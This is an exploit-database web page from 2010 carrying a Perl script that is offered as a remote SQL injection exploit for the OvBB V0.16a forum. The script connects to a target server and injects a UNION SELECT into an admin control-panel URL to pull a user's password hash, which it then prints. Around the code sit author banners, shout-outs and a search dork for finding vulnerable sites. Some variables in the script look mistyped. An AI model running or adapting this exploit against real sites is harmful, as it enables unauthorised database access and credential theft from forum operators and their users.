[webapps / 0day] - OvBB V0.16a Forum Remote SQL Injection Ex
Posted on 25 September 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>OvBB V0.16a Forum Remote SQL Injection Exploit | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Date: 25 Sep 2010 | Exploit category: webapps / 0day | Exploit author: indoushka | Inj3ct0r exploit database' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>============================================== OvBB V0.16a Forum Remote SQL Injection Exploit ============================================== #!/usr/bin/perl -w # # OvBB V0.16a Forum Remote SQL Injection Exploit # # Found & Coded: indoushka # # Date: 25/07/2010 # # Home: www.sec4ever.com # # Dz-Ghost Team ===== Saoucha * Star08 * Cyber Sec * theblind74 * XproratiX * onurozkan * n2n * Meher Assel # special thanks to : r0073r (inj3ct0r.com) * L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller # Sid3^effects * aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * r1z * D4NB4R * www.alkrsan.net # MR.SoOoFe * ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH # # Download : http://www.ovbb.org/ use IO::Socket; print q{ ####################################################################### # OvBB V0.16a Remote SQL Injection Exploit # # By indoushka # # www.iq-ty.com/vb # # Dz-Ghost Team (00213771818860) # # Algeria Hackerz (indoushka@hotmail.com) # # Dork: Powered by OvBB V0.16a # ####################################################################### ************************************************************************ 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ >> Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ####################################### 1 0 I'm indoushka member from Inj3ct0r Team 1 1 ####################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 }; if (!$ARGV[2]) { print q{ Usage: perl OvBB.pl host /directory/ victim_userid perl OvBB.pl www.Target.com /forum/ 1 }; } $server = $ARGV[0]; $dir = $ARGV[1]; $user = $ARGV[2]; $myuser = $ARGV[3]; $mypass = $ARGV[4]; $myid = $ARGV[5]; print "------------------------------------------------------------------------------------------------ "; print "[>] SERVER: $server "; print "[>] DIR: $dir "; print "[>] USERID: $user "; print "------------------------------------------------------------------------------------------------ "; $server =~ s/(http://)//eg; $path = $dir; $path .= "admincp.php?section=smilies&action=edit&smilieid=1')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20citizen%20WHERE%20(uid= '".$username ; print "[~] PREPARE TO CONNECT... "; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED"; print "[+] CONNECTED "; print "[~] SENDING QUERY... "; print $socket "GET $path HTTP/1.1 "; print $socket "Host: $server "; print $socket "Accept: */* "; print $socket "Connection: close "; print "[+] DONE! "; print "--[ REPORT ]------------------------------------------------------------------------------------ "; while ($answer = <$socket>) { if ($answer =~/(w{32})/) { if ($1 ne 0) { print "Password is: ".$1." "; print "-------------------------------------------------------------------------------------- "; } exit(); } } print "------------------------------------------------------------------------------------------------ "; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-25]</pre></body></html>